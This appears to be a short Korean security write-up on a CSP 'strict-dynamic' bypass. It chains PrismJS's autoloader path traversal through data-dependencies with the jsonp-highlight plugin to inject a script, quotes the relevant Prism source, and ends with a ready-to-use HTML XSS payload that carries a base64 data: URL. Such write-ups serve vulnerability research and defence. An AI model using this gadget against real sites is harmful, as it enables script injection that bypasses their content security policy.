Prism Autoloader

Prism Autoloader + JSONP Highlight


Prism의 autoloader는 data-dependencies 값을 바탕으로 스크립트를 동적으로 로드하며, jsonp-highlight는 data-jsonp를 사용해 <script src=...>를 삽입한다.

CSP의 script-src'strict-dynamic'이 설정되어 있으면, 이를 지원하는 브라우저는 nonce로 신뢰받은 Prism 스크립트가 동적으로 추가한 스크립트에도 그 신뢰를 전파한다. 따라서 아래 입력이 가능하면 XSS 체인이 성립할 수 있다.

  • Prism Autoloader
function getDependencies(element) {
  var deps = (element.getAttribute('data-dependencies') || '').trim();
  if (!deps) {
    var parent = element.parentElement;
    if (parent && parent.tagName.toLowerCase() === 'pre') {
      deps = (parent.getAttribute('data-dependencies') || '').trim();
    }
  }
  return deps ? deps.split(/\s*,\s*/g) : [];
}

function getLanguagePath(lang) {
  return config.languages_path + 'prism-' + lang + (config.use_minified ? '.min' : '') + '.js';
}

getDependencies()가 반환한 문자열은 그대로 getLanguagePath(lang)lang으로 들어간다. data-dependencies="…"에 있는 각 항목이 deps 배열에 들어가고, 각 항목이 lang으로 그대로 전달되어 경로 문자열에 합쳐진다.

최종 src = languages_path + "prism-" + (data-dependencies 값) + ".min.js"

https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/
  + "prism-/../../plugins/jsonp-highlight/prism-jsonp-highlight"
  + ".min.js"

결국 정규화 이후에는 https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/plugins/jsonp-highlight/prism-jsonp-highlight.min.js가 되어 다른 스크립트가 로딩된다.

  • JSONP Highlight
function jsonp(src, callbackParameter, onSuccess, onError) {
  var callbackName = 'prismjsonp' + jsonpCallbackCounter++;

  var uri = document.createElement('a');
  uri.href = src;
  uri.href += (uri.search ? '&' : '?') + (callbackParameter || 'callback') + '=' + callbackName;

  var script = document.createElement('script');
  script.src = uri.href;
  document.head.appendChild(script);
}

data-jsonp 값이 그대로 <script src>로 삽입된다.

<pre class="language-javascript" data-src="/" data-dependencies="/../../plugins/jsonp-highlight/prism-jsonp-highlight" data-jsonp="data:text/javascript;base64,YWxlcnQoKQ==#"></pre>

이런 식으로 XSS가 가능하다.